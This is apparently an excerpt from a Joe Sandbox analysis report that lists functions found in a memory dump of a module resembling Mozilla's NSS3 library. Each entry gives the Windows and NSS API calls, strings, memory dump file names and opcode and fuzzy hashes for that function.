Function 6C0A0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C0A0BDE), ref: 6C0A0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C0A0BDE), ref: 6C0A0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C0A0BDE), ref: 6C0A0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C0A0BDE), ref: 6C0A0E32

Strings

%s incr => %d (find lib), xrefs: 6C0A0E2D

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bb2dfbed27d6dffc7d1835724238364e465f1f408a2004638fce64501d4e6e58
Instruction ID: 6cee47c70c1f333c2363882bec6ed21f6ccf86e71190077c3e7033e75c8dc8f7
Opcode Fuzzy Hash: bb2dfbed27d6dffc7d1835724238364e465f1f408a2004638fce64501d4e6e58
Instruction Fuzzy Hash: 1001F5727042149FEA10CEA4DC49F1773E8DF55A0CB04452DE90AD3A82E761ED15CAE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C04A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13356d9cbdf1b58791caa7af1a1113c15670d658c5671285d7c88b24a7c55fd5
Instruction ID: deca5608ffd601e617061f4c1edad302bacf8b2f70ac1e36ba4b57baa237a2eb
Opcode Fuzzy Hash: 13356d9cbdf1b58791caa7af1a1113c15670d658c5671285d7c88b24a7c55fd5
Instruction Fuzzy Hash: C59190B1B00204CFEB08DF65D88AB6B77F5BB46318F24403DEA4647A81DF34A885CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C056D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C043C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C043C66
Part of subcall function 6C043C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C043D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C056DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C056DE5

Part of subcall function 6C058010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C05807D
Part of subcall function 6C058010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C0580D1
Part of subcall function 6C058010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C05810E
Part of subcall function 6C058010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C058140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C056E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C056E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C056EC2

Part of subcall function 6C057D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C057E27
Part of subcall function 6C057D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C057E67

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 43d7808f24781182224627db559ccf0118135c064d72dd65fee68a2adca9ba53
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: F1516F71A083519FD724CF29C550B6ABBF5FF88318F448A5DE89987741E730E928CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0AEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C0AEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C0AEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C0AEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C0AEEEB
free.MOZGLUE(?), ref: 6C0AEEF6

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 453452ff2c761cbe1354adb3ccc92e2be05fd02d2f79460276f40109fb0d9654
Instruction ID: f3c9225ce0f29f693572aa4feb5124033d07404656ea5f34d81cf57f6a6ad02b
Opcode Fuzzy Hash: 453452ff2c761cbe1354adb3ccc92e2be05fd02d2f79460276f40109fb0d9654
Instruction Fuzzy Hash: 8531F7B16002009FD720DFE8CC497667BF4FB46314F540629E96A87A92DB31E525C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C0B3FFF,00000000,?,?,?,?,?,6C0B1A1C,00000000,00000000), ref: 6C0BADA7

Part of subcall function 6C1114C0: TlsGetValue.KERNEL32 ref: 6C1114E0
Part of subcall function 6C1114C0: EnterCriticalSection.KERNEL32 ref: 6C1114F5
Part of subcall function 6C1114C0: PR_Unlock.NSS3 ref: 6C11150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C0B3FFF,00000000,?,?,?,?,?,6C0B1A1C,00000000,00000000), ref: 6C0BADB4

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C0B3FFF,?,?,?,?,6C0B3FFF,00000000,?,?,?,?,?,6C0B1A1C,00000000), ref: 6C0BADD5

Part of subcall function 6C10FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C108D2D,?,00000000,?), ref: 6C10FB85
Part of subcall function 6C10FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C10FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C1D94B0,?,?,?,?,?,?,?,?,6C0B3FFF,00000000,?), ref: 6C0BADEC

Part of subcall function 6C10B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1E18D0,?), ref: 6C10B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0B3FFF), ref: 6C0BAE3C

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: e21b11286f07ba6a90b4397ec96502cc4abd15cfbd0e2236048637a58f3b8e29
Instruction ID: e13279c710f539f890575c5cce94dbe1557c792e1d9830ca304532b5a44a7e7d
Opcode Fuzzy Hash: e21b11286f07ba6a90b4397ec96502cc4abd15cfbd0e2236048637a58f3b8e29
Instruction Fuzzy Hash: 8C115671E002045BEB10DA259C01BBF73F89F9524CF104238FC2AA6A41FB72E958C2A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C108800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108821
TlsGetValue.KERNEL32(?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C10883D
EnterCriticalSection.KERNEL32(?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C108887
PR_Unlock.NSS3(?,?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108899

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: a307714237fc3c06d787b303aeab76d040e3bd1f98b9a233f5f9d9d49b383e74
Instruction ID: 1d2fe0c4e896bbd9b4e53d1301f32142f72c5bf5ec5b41f6d3a668b916385a59
Opcode Fuzzy Hash: a307714237fc3c06d787b303aeab76d040e3bd1f98b9a233f5f9d9d49b383e74
Instruction Fuzzy Hash: 6D217FB4A086458FEB00AF78C48826ABBF4FF16308F11466BDC9497645EB34D5A5CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C0C80DD), ref: 6C0D28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C0C80DD), ref: 6C0D28D3
PR_Unlock.NSS3(?,?,?,?,?,6C0C80DD), ref: 6C0D28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C0C80DD), ref: 6C0D290E
free.MOZGLUE(?,?,?,?,?,?,6C0C80DD), ref: 6C0D291A

Part of subcall function 6C0C9270: DeleteCriticalSection.KERNEL32(?,?,6C0D5089,?,6C0D3B70,?,?,?,?,?,6C0D5089,6C0CF39B,00000000), ref: 6C0C927F
Part of subcall function 6C0C9270: free.MOZGLUE(?,?,6C0D3B70,?,?,?,?,?,6C0D5089,6C0CF39B,00000000), ref: 6C0C9286
Part of subcall function 6C0C9270: PL_HashTableDestroy.NSS3(?,6C0D3B70,?,?,?,?,?,6C0D5089,6C0CF39B,00000000), ref: 6C0C9292

Part of subcall function 6C0C8B50: TlsGetValue.KERNEL32(00000000,?,6C0D0948,00000000), ref: 6C0C8B6B
Part of subcall function 6C0C8B50: EnterCriticalSection.KERNEL32(?,?,?,6C0D0948,00000000), ref: 6C0C8B80
Part of subcall function 6C0C8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C0D0948,00000000), ref: 6C0C8B8F
Part of subcall function 6C0C8B50: PR_Unlock.NSS3(?,?,?,?,6C0D0948,00000000), ref: 6C0C8BA1
Part of subcall function 6C0C8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C0D0948,00000000), ref: 6C0C8BAC
Part of subcall function 6C0C8B50: free.MOZGLUE(?,?,?,?,?,6C0D0948,00000000), ref: 6C0C8BB8

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 8a7e4104a1c0a4e67e13097f0b57f7e3fe2617a6c3721b2e06506ce729681280
Instruction ID: cd290b9925b385d9ea31835b3ccab13f3c345aaf68d6464fe6685986f5275dc8
Opcode Fuzzy Hash: 8a7e4104a1c0a4e67e13097f0b57f7e3fe2617a6c3721b2e06506ce729681280
Instruction Fuzzy Hash: EB21E5B5A04B059FDB00AF78C08966DBBF4FB05358F024969DC9597B40EB34E899CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C0F1E10: TlsGetValue.KERNEL32 ref: 6C0F1E36
Part of subcall function 6C0F1E10: EnterCriticalSection.KERNEL32(?,?,?,6C0CB1EE,2404110F,?,?), ref: 6C0F1E4B
Part of subcall function 6C0F1E10: PR_Unlock.NSS3 ref: 6C0F1E76

free.MOZGLUE(?,6C0DD079,00000000,00000001), ref: 6C0DCDA5
PK11_FreeSymKey.NSS3(?,6C0DD079,00000000,00000001), ref: 6C0DCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C0DD079,00000000,00000001), ref: 6C0DCDCF
DeleteCriticalSection.KERNEL32(?,6C0DD079,00000000,00000001), ref: 6C0DCDE2
free.MOZGLUE(?), ref: 6C0DCDE9

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 2c271e5cc40d6d9940cfe04f3a2ba8be57397805dfa330cbf01a68d71a9fe92a
Instruction ID: 469bdaef519fe617ac44d907947b9a25e4ba32dd2d7ce0f492b6db2ae0290d88
Opcode Fuzzy Hash: 2c271e5cc40d6d9940cfe04f3a2ba8be57397805dfa330cbf01a68d71a9fe92a
Instruction Fuzzy Hash: 8511ECB2B00206ABDE00AE64EC45A96B7ECFF042687110122ED1983E01E732F464CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C142CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C145B40: PR_GetIdentitiesLayer.NSS3 ref: 6C145B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C142CEC

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

PR_EnterMonitor.NSS3(?), ref: 6C142D02
PR_EnterMonitor.NSS3(?), ref: 6C142D1F
PR_ExitMonitor.NSS3(?), ref: 6C142D42
PR_ExitMonitor.NSS3(?), ref: 6C142D5B

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 9156da5664566bcaada8cfeafef2980d6399bbf6304babcf30ec3d2a08a97047
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9801C4B1A102006BE6309F29FC44BC7B7B5EF45318F008535E95EC6720E632F869CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C142D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C145B40: PR_GetIdentitiesLayer.NSS3 ref: 6C145B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C142D9C

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

PR_EnterMonitor.NSS3(?), ref: 6C142DB2
PR_EnterMonitor.NSS3(?), ref: 6C142DCF
PR_ExitMonitor.NSS3(?), ref: 6C142DF2
PR_ExitMonitor.NSS3(?), ref: 6C142E0B

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: edf6115932242268b6be7cc9dc72ce87e9fe379767657cb9b7f32a7be64f9d9a
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: A901C4B1A106005BEA309F29FC15FC7B7B5EF41318F008435E99AD6B20D632F869C6A3

Uniqueness

Uniqueness Score: -1.00%

Function 6C1C0930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C1C0C83), ref: 6C1C094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C1C0C83), ref: 6C1C0974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C1C0983
_PR_MD_UNLOCK.NSS3(?,?,6C1C0C83), ref: 6C1C099F
OutputDebugStringA.KERNEL32(?,?,6C1C0C83), ref: 6C1C09B2

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: e7bfb626e63e21c5884538efb5c05aac07b3b8a882455796371f04365464b082
Instruction ID: 03130c4ec51e1b0db30c148acaa2e36e4e7896b45f69ab6caec16bf9ea6a3d4c
Opcode Fuzzy Hash: e7bfb626e63e21c5884538efb5c05aac07b3b8a882455796371f04365464b082
Instruction Fuzzy Hash: B0011EB47111809FDF00AF28C84FB563B78AB77618F180159FE5983AD6DB3AD4D0CA12

Uniqueness

Uniqueness Score: -1.00%

Function 6C1CADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C1CA6D8), ref: 6C1CAE0D
free.MOZGLUE(?), ref: 6C1CAE14
DeleteCriticalSection.KERNEL32(6C1CA6D8), ref: 6C1CAE36
free.MOZGLUE(?), ref: 6C1CAE3D
free.MOZGLUE(00000000,00000000,?,?,6C1CA6D8), ref: 6C1CAE47

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 265f04535fc37f7b1de06e1c41ecbacb75eccda88f8cbb26f505e42d4a2ce236
Instruction ID: e17ae544da9fba01f26c9b169bb582800b556eff26fbaec5dad39c11ed2d0b6d
Opcode Fuzzy Hash: 265f04535fc37f7b1de06e1c41ecbacb75eccda88f8cbb26f505e42d4a2ce236
Instruction Fuzzy Hash: BCF0C2B5301A01ABCA019F68980D9577778FE86A74710032DF92A83980E735E015C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6C046C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C046D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C046D20
%s at line %d of [%.10s], xrefs: 6C046D2F
database corruption, xrefs: 6C046D2A

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
